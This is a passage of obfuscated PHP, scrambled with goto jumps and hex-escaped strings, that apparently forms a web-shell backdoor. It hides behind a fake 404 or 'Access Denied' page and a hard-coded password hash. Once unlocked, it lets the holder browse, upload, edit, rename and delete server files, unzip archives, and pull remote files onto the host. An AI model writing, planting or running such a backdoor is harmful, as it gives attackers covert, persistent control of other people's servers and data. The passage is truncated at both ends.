x70\x2d\64\40\164\145\x78\164\x2d\154\x65\146\164\x20\164\x65\170\164\x2d\166\151\x76\151\144\x2d\143\x68\x61\162\143\x6f\x61\x6c\42\76\x4c\x61\163\x74\x20\x4d\157\144\151\146\x69\x65\x64\x3c\x2f\164\150\76\xd\xa\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\74\x74\x68\x20\x63\x6c\x61\163\x73\x3d\42\160\x2d\64\40\x74\x65\x78\164\x2d\x6c\145\x66\164\x20\x74\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\143\157\141\154\42\76\x41\143\164\x69\x6f\x6e\x73\x3c\57\164\150\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x2f\164\162\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\150\x65\x61\144\76\15\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\74\x74\x62\157\144\171\x3e\xd\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\74\41\x2d\x2d\x20\120\x61\x72\x65\156\164\x20\127\157\162\x6b\163\160\141\x63\145\40\55\55\x3e\xd\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20"; goto qOyLV; woUVw: if (in_array($Vjqae, $yC3U8) && $GpDM3["\x73\151\x7a\x65"] <= $k0Bn2) { goto IKl1G; } goto ECHTC; dP3kX: $WGk33 = "\x24\62\x61\44\x31\x32\x24\x6e\154\x63\113\157\x67\x68\124\122\170\x68\160\x64\x71\165\x67\x69\x48\63\x71\x6e\165\x41\106\141\x64\152\101\x6b\154\x33\x75\x76\x31\63\142\x78\116\60\x5a\120\146\x76\150\x33\105\x74\64\x77\x32\x46\x77\x36"; goto jqJC3; hqgSy: if (file_put_contents($mROC6, $cFfUK) !== false) { goto pTXEj; } goto OPJ29; GvIZt: p398x: goto qoPOT; lxXy6: $DKH4N = "\x46\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\x65\x64\x20\x73\x75\143\143\x65\163\163\x66\x75\154\x6c\171\x2e"; goto sbUHL; xmdTh: if (!(isset($_POST["\144\145\154\x65\164\145\x5f\x69\x74\x65\x6d"]) && !empty($_POST["\151\x74\x65\x6d\137\x6e\141\155\x65"]))) { goto x2JdP; } goto LSpRx; MWILr: http_response_code(404); goto gl1j0; UdP8y: goto w2IvO; goto G4i7T; HFgF1: echo "\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x21\55\55\x20\106\x69\154\145\163\40\x2d\55\x3e\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20"; goto dBSpP; HJ2Jy: VHTWA: goto LPb1A; m_Nxc: goto TNzCi; goto GvIZt; VPmED: $mROC6 = $UyGf4 . "\57" . $XSEgQ; goto f8J_i; aTPSO: die("\15\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x21\104\117\103\x54\131\x50\105\x20\150\164\x6d\x6c\76\15\xa\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\74\x68\164\155\154\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x68\x65\x61\144\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\155\145\x74\141\x20\x63\x68\141\x72\163\x65\x74\x3d\x22\125\124\106\55\x38\x22\x3e\15\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\x22\x76\x69\x65\x77\160\157\x72\164\42\40\143\157\156\x74\145\x6e\x74\x3d\42\x77\151\144\164\150\x3d\144\145\x76\x69\143\x65\55\x77\151\144\164\x68\x2c\x20\x69\x6e\151\164\x69\141\x6c\55\x73\x63\x61\154\145\75\x31\x2e\60\x22\76\xd\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\164\151\x74\154\145\x3e\101\x63\x63\x65\x73\163\x20\x44\x65\x6e\151\145\x64\74\57\164\x69\x74\x6c\x65\x3e\xd\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x3c\x73\x63\x72\151\160\164\40\163\162\x63\x3d\x22\150\164\164\x70\x73\72\x2f\x2f\x63\144\156\56\164\x61\151\154\x77\x69\x6e\144\x63\163\163\x2e\143\157\x6d\42\76\74\57\x73\x63\162\x69\160\x74\76\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\x2f\x68\x65\x61\144\76\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\74\142\x6f\144\x79\40\x63\154\x61\163\x73\75\x22\142\147\55\166\x69\x76\x69\144\x2d\163\x6c\141\x74\145\x20\155\x69\156\55\150\55\163\143\162\145\145\x6e\40\146\154\x65\x78\x20\151\164\145\x6d\x73\55\x63\x65\156\164\x65\162\40\152\165\x73\164\x69\x66\171\55\x63\145\156\164\x65\162\42\x3e\15\12\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x62\x67\x2d\x77\150\x69\x74\145\x20\160\x2d\70\40\162\157\165\156\144\x65\144\x2d\170\154\40\x73\x68\x61\x64\157\x77\x2d\170\x6c\40\167\55\146\165\x6c\x6c\40\155\x61\170\55\167\x2d\155\x64\x22\x3e\xd\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\74\150\62\x20\143\x6c\141\163\x73\x3d\42\164\145\170\x74\x2d\62\x78\154\40\x66\x6f\x6e\164\x2d\142\x6f\x6c\144\40\155\x62\55\66\x20\x74\145\170\x74\55\x63\x65\x6e\x74\145\162\40\x74\145\170\164\x2d\166\151\x76\x69\144\55\143\x68\141\162\143\157\x61\154\42\76\123\145\143\165\162\x65\x20\x41\143\x63\145\163\x73\40\122\145\x71\165\x69\162\x65\144\74\x2f\150\x32\x3e\15\xa\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\x53\x54\x22\76\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\74\151\x6e\x70\x75\164\40\164\x79\160\x65\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\145\75\42\x63\163\162\x66\x5f\x74\157\x6b\145\156\42\x20\166\141\x6c\x75\145\x3d\x22" . htmlspecialchars($_SESSION["\x63\163\x72\x66\x5f\164\x6f\x6b\x65\156"]) . "\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\75\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\x65\75\x22\163\145\143\165\162\x65\137\153\145\x79\42\40\143\154\x61\x73\x73\75\42\167\55\x66\x75\154\x6c\40\x70\x2d\x33\40\x62\x6f\x72\144\x65\x72\x20\162\x6f\x75\156\144\145\x64\55\154\147\40\x6d\x62\x2d\64\40\x66\x6f\143\x75\163\72\x6f\x75\x74\154\x69\156\145\55\156\157\x6e\x65\40\146\157\143\x75\163\x3a\162\x69\156\147\x2d\62\40\x66\157\143\165\x73\72\x72\x69\156\147\x2d\x76\x69\x76\151\x64\x2d\164\145\141\154\x22\40\160\x6c\x61\x63\x65\150\x6f\154\x64\x65\162\75\x22\105\156\164\x65\x72\40\163\x65\x63\x75\x72\x65\40\x6b\145\x79\42\40\x72\x65\161\165\x69\162\145\x64\x20\141\165\164\x6f\x66\157\x63\x75\x73\x3e\15\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\x62\165\x74\164\x6f\156\x20\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\40\143\x6c\141\163\163\x3d\42\167\x2d\x66\x75\154\x6c\40\x62\x67\x2d\166\x69\x76\x69\x64\55\x74\x65\x61\x6c\x20\164\145\x78\164\x2d\167\150\x69\x74\145\x20\160\x2d\63\40\162\x6f\x75\x6e\144\x65\144\x2d\x6c\147\x20\150\x6f\x76\x65\x72\72\142\x67\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x2d\144\141\162\153\x20\x74\x72\141\x6e\163\x69\x74\x69\x6f\156\x22\76\x55\156\x6c\x6f\143\153\74\x2f\142\165\164\164\157\x6e\x3e\15\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\57\146\157\x72\x6d\x3e\xd\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\x2f\142\157\x64\171\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x2f\150\x74\x6d\154\76\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40"); goto SMr58; O9Dx9: RzJMB: goto N3l0l; NCBWC: u8vax: goto Oo1ct; Y4wm7: if (isset($_SESSION["\143\x73\162\x66\x5f\164\157\x6b\x65\x6e"])) { goto gWWpv; } goto KwgZJ; gh_lz: mNuwv: goto B39ub; qoPOT: if (move_uploaded_file($GpDM3["\164\x6d\160\x5f\156\141\x6d\145"], $HdMJq)) { goto v_hRO; } goto pm_kD; qYmxS: OId96: goto HWu98; JT0AX: DDCY5: goto n2X9C; N1kwB: $DKH4N = "\x46\x69\x6c\x65\40\x63\162\x65\x61\164\x65\x64\x20\x73\165\x63\143\145\x73\x73\x66\165\x6c\154\x79\x2e"; goto aK3Vo; dRHGU: goto T8Xvk; goto xNlQn; qfRoT: $MhPPM = filter_var($_POST["\162\145\155\157\164\145\x5f\165\162\154"], FILTER_VALIDATE_URL); goto S33WT; ohyY2: echo "\x22\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\x70\x65\75\42\150\151\144\144\145\x6e\42\x20\151\x64\x3d\42\x6f\162\x69\x67\151\156\141\x6c\111\x74\145\x6d\116\141\155\x65\42\40\x6e\x61\155\x65\75\42\157\x72\x69\147\151\x6e\141\x6c\137\x6e\141\x6d\x65\42\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\42\164\145\170\164\42\x20\151\x64\x3d\42\x6e\x65\167\111\164\145\x6d\116\x61\155\x65\42\40\x6e\141\155\145\75\42\156\x65\x77\137\x6e\141\x6d\145\x22\x20\143\154\141\163\x73\x3d\42\167\x2d\x66\165\x6c\x6c\x20\x70\55\63\40\142\x6f\x72\144\x65\x72\x20\x72\157\165\x6e\x64\145\x64\55\x6c\147\x20\155\x62\55\x36\x20\146\x6f\x63\x75\x73\x3a\x6f\165\x74\x6c\151\x6e\145\55\156\x6f\156\145\40\146\157\143\165\x73\72\x72\151\x6e\x67\55\x32\x20\x66\x6f\x63\165\x73\x3a\x72\x69\x6e\x67\55\x76\151\166\x69\x64\55\x74\x65\141\x6c\x22\x20\x72\145\161\165\151\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x66\x6c\145\x78\x20\x6a\165\163\164\151\x66\x79\55\145\x6e\x64\40\x73\x70\x61\143\145\x2d\170\55\x33\x22\76\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\x62\165\164\x74\x6f\156\x20\x74\171\160\145\x3d\42\163\x75\142\x6d\151\x74\42\40\156\141\155\x65\x3d\42\x72\x65\x6e\141\155\145\137\151\x74\x65\x6d\x22\x20\143\154\x61\163\163\x3d\x22\142\x67\x2d\x67\x72\x65\x65\x6e\55\65\60\x30\40\164\145\x78\164\55\x77\x68\151\x74\145\x20\x70\x78\x2d\65\x20\160\171\55\62\40\162\x6f\165\156\144\145\144\x2d\154\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\162\145\x65\156\55\x36\60\x30\x20\x76\151\x76\151\144\x2d\164\162\141\x6e\x73\x69\x74\x69\157\156\x22\x3e\x53\x61\x76\x65\74\57\x62\x75\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\75\42\x62\165\164\164\x6f\x6e\x22\40\157\156\x63\154\x69\x63\153\x3d\x22\x63\x6c\157\x73\x65\104\x69\141\154\x6f\x67\50\x27\162\x65\x6e\x61\155\x65\x44\x69\x61\154\157\147\x27\51\42\x20\143\x6c\x61\x73\x73\75\x22\142\x67\x2d\147\x72\141\x79\55\x35\60\x30\40\164\x65\x78\164\55\167\x68\x69\x74\145\x20\x70\x78\x2d\x35\40\x70\171\55\62\x20\162\157\165\156\144\145\x64\55\x6c\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\x72\x61\171\55\66\x30\x30\x20\x76\x69\166\151\x64\x2d\x74\162\141\156\x73\x69\164\x69\x6f\x6e\42\76\x43\x61\x6e\143\x65\x6c\x3c\x2f\x62\165\164\x74\x6f\156\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\74\x2f\x64\x69\166\x3e\xd\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\40\40\40\40\40\x3c\57\144\x69\166\x3e\15\xa\x20\x20\40\40\x3c\57\144\x69\x76\x3e\15\12\15\12\40\40\40\40\x3c\163\x63\x72\151\x70\x74\76\15\12\40\40\x20\x20\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\x6e\40\145\144\151\x74\x49\x74\145\x6d\x28\x69\164\145\x6d\116\141\x6d\x65\51\x20\173\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x66\145\164\143\x68\x28\47\77\167\157\162\153\x73\160\x61\143\145\x3d"; goto kX0on; NHWkd: rwOYV: goto rbgYx; U2HJ2: $DKH4N = "\101\x72\x63\150\151\x76\145\x20\145\170\x74\162\x61\143\164\145\144\x20\163\x75\143\x63\x65\163\x73\x66\x75\154\154\x79\x2e"; goto ZgEir; QUnki: w2IvO: goto KsqrH; By17q: echo "\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x3c\164\162\x20\x63\x6c\x61\x73\x73\75\42\142\x6f\162\x64\x65\x72\55\164\40\150\157\x76\145\162\x3a\x62\147\x2d\x67\162\x61\171\x2d\65\x30\x20\x76\x69\x76\x69\x64\55\164\x72\141\x6e\163\151\164\151\x6f\156\x22\x3e\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\74\164\144\x20\143\x6c\x61\x73\x73\x3d\42\160\x2d\64\42\76\74\x69\x20\x63\x6c\141\163\x73\75\x22\x66\141\x73\x20\146\x61\x2d\146\157\154\144\x65\162\40\x6d\x72\x2d\x32\x20\164\x65\170\164\55\x76\151\166\151\144\55\164\x65\x61\154\x22\x3e\x3c\57\151\76\74\141\x20\x68\162\145\146\x3d\x22\77\167\x6f\x72\x6b\x73\160\141\143\145\75"; goto jWvjk; xNcuq: IJ3Hk: goto xjUUI; mjAZx: if (!(isset($_POST["\165\x6e\172\x69\160\x5f\x61\x72\143\150\151\166\145"]) && !empty($_POST["\141\x72\x63\x68\151\166\x65\x5f\156\141\x6d\x65"]))) { goto hViYW; } goto t1YDS; RjKFq: $HcnX3 = new ZipArchive(); goto Ss9oR; Qm7yr: goto u8vax; goto amQwH; OEbq_: echo "\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\x20\40\40\x20\x20\40\x20"; goto ooNWl; Zbq2n: l6riZ: goto mwnF6; amQwH: lHkIz: goto Jhmnc; SMr58: goto OCuP1; goto O9Dx9; aadQB: dfEiu: goto hqgSy; A6W2h: $cFfUK = $_POST["\x69\x74\145\155\x5f\x63\x6f\x6e\x74\145\156\x74"] ?? ''; goto VPmED; dBSpP: foreach ($M1ewI as $nrpAw) { goto vXA8G; BnHJg: echo "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\163\x3d\x22\x70\x2d\64\x22\x3e"; goto dxDdG; Apq9W: echo is_writable($UyGf4 . "\57" . $nrpAw) ? "\131\x65\163" : "\116\157"; goto ngkwV; ngkwV: echo "\x3c\57\164\x64\76\xd\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\x74\x64\x20\x63\154\x61\163\163\x3d\42\160\x2d\64\42\x3e"; goto pzibv; FhhLo: echo htmlspecialchars($nrpAw); goto Kpvzc; aawrO: echo htmlspecialchars($_SESSION["\143\163\x72\x66\x5f\164\157\x6b\x65\156"]); goto iYtRr; YEaRU: echo htmlspecialchars($nrpAw); goto qpIYE; x317W: lLaMK: goto lk3iK; dxDdG: echo aVbxS(filesize($UyGf4 . "\57" . $nrpAw)); goto b9MrC; vXA8G: echo "\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x74\162\x20\x63\154\x61\163\163\75\x22\x62\x6f\x72\x64\x65\x72\x2d\164\40\150\157\x76\145\x72\x3a\142\147\55\147\162\x61\171\x2d\65\60\x20\x76\x69\166\x69\x64\55\164\162\141\156\x73\151\164\x69\157\x6e\x22\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\74\164\144\40\x63\x6c\x61\163\x73\75\42\x70\55\64\x22\x3e\74\x69\x20\x63\154\141\163\x73\75\x22\146\x61\x73\x20\146\141\55\146\151\154\x65\x20\155\162\55\62\x20\x74\145\170\x74\x2d\x76\151\166\151\144\x2d\x74\x65\x61\x6c\x22\x3e\74\x2f\151\76"; goto YEaRU; ODkP_: echo "\x3c\x2f\164\x64\76\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\144\x20\x63\154\x61\163\x73\x3d\x22\x70\55\x34\x20\x73\160\x61\x63\145\x2d\170\55\x33\42\76\15\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x3c\142\165\x74\164\157\156\x20\157\x6e\x63\x6c\x69\x63\153\75\x22\x65\144\151\x74\111\164\145\155\50\x27"; goto j55Ka; Kpvzc: echo "\42\x3e\15\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\74\142\x75\164\x74\x6f\x6e\40\164\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\164\x22\x20\x6e\x61\155\x65\75\x22\x75\156\172\151\x70\137\141\x72\143\150\151\166\x65\42\x20\143\x6c\x61\163\x73\x3d\42\142\147\55\147\162\x65\x65\156\x2d\x35\60\60\40\x74\145\x78\x74\55\x77\150\151\164\145\40\160\x78\x2d\63\x20\x70\x79\x2d\61\x20\x72\x6f\165\x6e\x64\145\x64\55\154\x67\x20\x68\x6f\166\145\x72\x3a\x62\147\x2d\147\x72\x65\x65\156\x2d\x36\60\x30\40\166\151\166\x69\144\x2d\x74\x72\x61\x6e\x73\151\x74\151\157\156\x22\76\74\x69\40\143\x6c\x61\x73\x73\75\42\146\141\163\40\146\141\55\146\151\x6c\145\x2d\x61\162\143\x68\x69\x76\145\x20\155\162\55\61\x22\76\x3c\x2f\151\x3e\125\156\x7a\x69\160\74\x2f\x62\165\164\164\157\x6e\x3e\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\74\57\x66\157\162\x6d\76\15\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40"; goto m9Id2; pzibv: echo date("\131\x2d\155\55\144\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $nrpAw)); goto ODkP_; qpIYE: echo "\74\57\x74\144\76\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\160\x2d\64\42\76"; goto YwE2M; j55Ka: echo htmlspecialchars($nrpAw); goto Ko27o; Yo0ak: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\74\x66\x6f\x72\155\x20\x6d\145\x74\x68\157\144\x3d\42\x70\x6f\x73\x74\x22\x20\143\x6c\x61\x73\x73\75\42\151\156\x6c\151\x6e\145\42\76\15\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x22\x68\151\144\x64\x65\x6e\x22\40\156\141\155\145\x3d\x22\143\x73\x72\146\x5f\164\157\x6b\145\156\x22\x20\x76\x61\x6c\165\x65\75\42"; goto aawrO; IHFCo: echo "\x27\x29\42\40\x63\x6c\x61\163\163\x3d\x22\142\147\x2d\x72\145\x64\x2d\65\60\60\40\164\145\x78\164\55\167\x68\x69\x74\x65\x20\x70\170\55\x33\40\x70\x79\x2d\x31\40\x72\x6f\165\156\x64\x65\144\x2d\x6c\x67\x20\x68\157\x76\x65\x72\72\142\147\55\x72\x65\x64\55\66\x30\60\40\166\x69\x76\x69\144\55\x74\162\x61\x6e\x73\151\164\x69\x6f\156\42\76\104\145\154\145\x74\145\74\x2f\x62\165\x74\164\x6f\x6e\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Xque1; ftooB: echo htmlspecialchars($nrpAw); goto IHFCo; iYtRr: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\42\x68\151\144\x64\x65\x6e\x22\x20\x6e\x61\155\145\75\x22\x61\162\143\150\151\x76\x65\x5f\x6e\141\155\145\x22\40\x76\141\x6c\x75\x65\75\42"; goto FhhLo; b9MrC: echo "\x3c\x2f\x74\144\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x74\144\40\x63\154\x61\163\163\75\x22\160\x2d\x34\x22\76"; goto Apq9W; Ko27o: echo "\x27\x29\42\x20\x63\154\141\163\x73\x3d\x22\x62\x67\55\166\151\166\151\x64\55\x74\x65\x61\154\40\164\x65\x78\164\x2d\167\x68\151\x74\145\40\x70\x78\x2d\63\40\x70\171\55\61\40\162\x6f\x75\x6e\144\x65\x64\x2d\x6c\x67\x20\x68\157\166\x65\162\72\142\x67\55\166\151\x76\151\x64\x2d\x74\145\x61\x6c\55\144\141\162\153\x20\x76\151\166\151\x64\x2d\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\x22\76\x45\x64\x69\164\x3c\57\142\x75\x74\164\x6f\156\x3e\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x62\x75\164\164\157\156\40\157\156\143\154\x69\143\x6b\75\42\x6f\x70\145\x6e\x52\x65\156\141\x6d\x65\104\x69\x61\x6c\x6f\147\x28\x27"; goto bPYbi; bPYbi: echo htmlspecialchars($nrpAw); goto jjS6K; m9Id2: QRCZ1: goto E0oeA; E0oeA: echo "\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\76\15\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\57\164\162\x3e\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20"; goto x317W; jjS6K: echo "\x27\x29\x22\x20\x63\154\141\163\163\x3d\x22\x62\147\55\x79\x65\x6c\154\157\x77\55\x35\60\60\40\x74\x65\170\164\x2d\x77\150\151\164\145\40\160\170\55\x33\x20\x70\x79\55\x31\x20\x72\x6f\165\156\x64\x65\x64\55\x6c\x67\x20\150\x6f\166\x65\x72\72\142\x67\55\171\145\x6c\154\157\167\55\66\x30\x30\40\166\x69\x76\x69\x64\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\156\x22\76\122\x65\156\141\155\145\74\57\142\165\x74\164\x6f\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\74\x62\165\164\x74\157\x6e\40\x6f\156\143\x6c\151\x63\x6b\75\x22\x63\x6f\156\146\x69\162\x6d\x44\x65\x6c\x65\x74\145\50\47"; goto ftooB; YwE2M: echo strtoupper(pathinfo($nrpAw, PATHINFO_EXTENSION)); goto BnHJg; Xque1: if (!(pathinfo($nrpAw, PATHINFO_EXTENSION) === "\x7a\151\160")) { goto QRCZ1; } goto Yo0ak; lk3iK: } goto JT0AX; dkMA6: $cFfUK = $_POST["\151\164\x65\155\x5f\143\157\x6e\x74\145\156\x74"] ?? ''; goto S5SU9; SFaK1: $UyGf4 = $RN9dg; goto gYpZO; G3_fu: $DKH4N = "\106\157\154\144\145\162\40\141\154\162\145\141\x64\171\x20\x65\x78\151\163\x74\x73\x2e"; goto AM5Ni; rxnF1: exit; goto dRHGU; EMeQw: v_hRO: goto jC0wy; pIIY_: if ($f5xwD && is_file($f5xwD) && is_readable($f5xwD)) { goto KXaXc; } goto MWILr; JVO84: EWOGW: goto qu97e; QH0ar: goto dKdrD; goto aadQB; OZfTN: echo "\x22\x3e\15\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\165\162\x6c\42\40\156\x61\x6d\145\75\x22\x72\x65\155\157\x74\x65\137\165\162\x6c\42\x20\143\x6c\141\x73\x73\75\42\x66\154\x65\170\x2d\61\40\x70\55\63\x20\142\x6f\x72\144\x65\162\x20\x72\x6f\x75\x6e\x64\145\x64\x2d\x6c\147\x20\146\x6f\143\x75\x73\72\157\165\164\154\x69\x6e\x65\x2d\156\x6f\x6e\145\x20\x66\157\x63\165\163\x3a\x72\x69\156\147\55\x32\x20\146\157\143\165\x73\x3a\x72\x69\156\147\x2d\166\x69\x76\x69\144\x2d\x74\x65\x61\x6c\x22\40\x70\x6c\x61\x63\x65\x68\157\154\144\145\162\75\42\150\164\x74\160\x73\x3a\x2f\57\x65\x78\141\x6d\160\x6c\x65\56\x63\x6f\x6d\57\151\x74\145\x6d\x2e\172\x69\160\x22\x20\162\145\161\165\151\x72\145\144\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\142\165\x74\164\157\156\40\x74\171\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\75\42\x66\145\x74\x63\150\x5f\x72\x65\155\157\164\145\x22\x20\143\154\141\x73\163\x3d\42\x62\x67\x2d\166\151\x76\x69\x64\x2d\x74\x65\x61\154\x20\x74\145\x78\164\x2d\x77\150\x69\164\145\40\x70\55\63\40\x72\x6f\x75\x6e\144\145\x64\55\x6c\x67\40\x68\157\x76\145\x72\x3a\x62\147\x